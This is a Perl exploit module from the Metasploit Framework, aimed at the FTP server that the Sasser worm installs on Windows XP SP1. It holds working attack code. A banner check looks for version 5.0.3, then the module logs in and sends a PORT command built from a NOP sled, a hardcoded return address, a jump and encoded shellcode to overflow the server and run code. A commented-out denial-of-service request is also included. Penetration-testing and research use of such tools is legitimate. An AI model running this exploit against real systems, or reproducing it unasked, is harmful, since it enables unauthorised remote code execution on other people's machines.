##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::sasser_ftpd;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };
my $info =
  {
	'Name'    => 'sasser worm avserve FTP server Overflow',
	'Version' => '$Revision: 1 $',
	'Authors' =>
	  [ 'valsmith  [at] metasploit.net>',
	    'chamuco   [at] gmail.com>',		
	  ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'winxp' ],
	'Priv'  => 0,

	'AutoOpts'  => { 'EXITFUNC' => 'thread' },
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 21],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
		'USER'  => [1, 'DATA', 'Username', 'ftp'],
		'PASS'  => [1, 'DATA', 'Password', 'ftp'],
	  },

	'Payload' =>
	  {
		'Space'  => 480,
		'BadChars'  => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
		'Prepend'	=> "\x81\xc4\x54\xf2\xff\xff",	# add esp, -3500
		'Keys' 		=> ['+ws2ord'],
	  },

	'Description'  =>  Pex::Text::Freeform(qq{
        Windows sasser worm avserve ftp server exploit.
}),

	'Refs'  =>
	  [
	  	['OSVDB', '6197']		
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
	
		['Windows XP SP1', 0x77e7633a ],
	  ],

	'Keys' => ['ftp'],

	'DisclosureDate' => 'not applicable',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my ($self) = @_;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return $self->CheckCode('Connect');
	}

	my $res = $s->Recv(-1, 20);
	$s->Close();

	if ($res !~ /5\.0\.3/) {
		$self->PrintLine("[*] This server does not appear to be vulnerable.");
		return $self->CheckCode('Safe');
	}

	$self->PrintLine("[*] Vulnerable installation detected.");
	return $self->CheckCode('Detected');
}

sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];

	if (! $self->InitNops(128)) {
		$self->PrintLine("[*] Failed to initialize the NOP module.");
		return;
	}


	# DOS request version
	# my $request = "PORT" . "\x41"x500;

	my $request = "PORT". "\x90"x268 . "\xeb\x06\x90\x90" . $target . 
	"\xe9".pack('V',-1005) . "\x90"x15 . $shellcode . "\x90"x1530;

	my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	my $r = $s->RecvLineMulti(20);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	$s->Send("USER ".$self->GetVar('USER')."\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	$s->Send("PASS ".$self->GetVar('PASS')."\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	#$s->Send("$request\n");
	$s->Send("$request\n");
	$r = $s->RecvLineMulti(10);
	if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
	$self->Print($r);

	sleep(2);
	return;
}